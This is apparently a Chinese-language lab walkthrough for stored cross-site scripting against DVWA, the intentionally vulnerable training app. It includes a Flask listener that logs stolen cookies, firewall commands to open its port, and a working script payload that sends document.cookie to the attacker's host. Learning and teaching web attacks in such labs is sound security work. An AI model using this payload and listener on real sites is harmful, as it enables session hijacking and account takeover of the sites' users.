🧪 第一步:準備監聽服務接收 cookie
在你的本機(非容器)或 DVWA 所在主機運行以下 Python 監聽代碼,用于接收竊取的 cookie:
啟動 HTTP 接收服務
# 在本機終端運行,監聽 8081 端口(確保防火墻允許)
python3 -m http.server 8081
注意:CentOS 7 默認開啟了 firewalld,你需要允許 8081 端口訪問:
firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload
確認能訪問你的監聽服務器:
curl http://《監聽機IP》:8081
或者你也可以用 Flask 搭建更真實的監聽:
# listener.py
from flask import Flask, requestapp = Flask(__name__)@app.route('/log')
def log():cookie = request.args.get('c')print(f"Stolen cookie: {cookie}")return '', 204if __name__ == '__main__':app.run(host='0.0.0.0', port=8081)
運行:
python3 listener.py
🧪 第二步:注入 Payload 到 DVWA 的 Stored XSS 頁面
1.拉取 DVWA 鏡像并運行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
2.打開瀏覽器訪問你的 DVWA:http://localhost:8080/vulnerabilities/xss_s/
3.將以下 payload 作為留言輸入:
🍪 Cookie 竊取 Payload:
<script>new Image().src="http://<你的主機IP>:8081/log?c="+document.cookie;
</script>
替換 <你的主機IP> 為你運行監聽服務的真實 IP 地址。容器里訪問主機可以用:
Linux 宿主:172.17.0.1
Windows/macOS Docker:host.docker.internal(需要開啟端口映射)
? 第三步:觸發注入點
1.提交留言后,訪問該頁面會觸發腳本
2.你監聽服務的終端中應會看到類似輸出:
Stolen cookie: security=low; PHPSESSID=abcd1234xyz
如果能看到 cookie 值被打印,就說明 成功竊取 cookie 并 exfiltrate 出去了。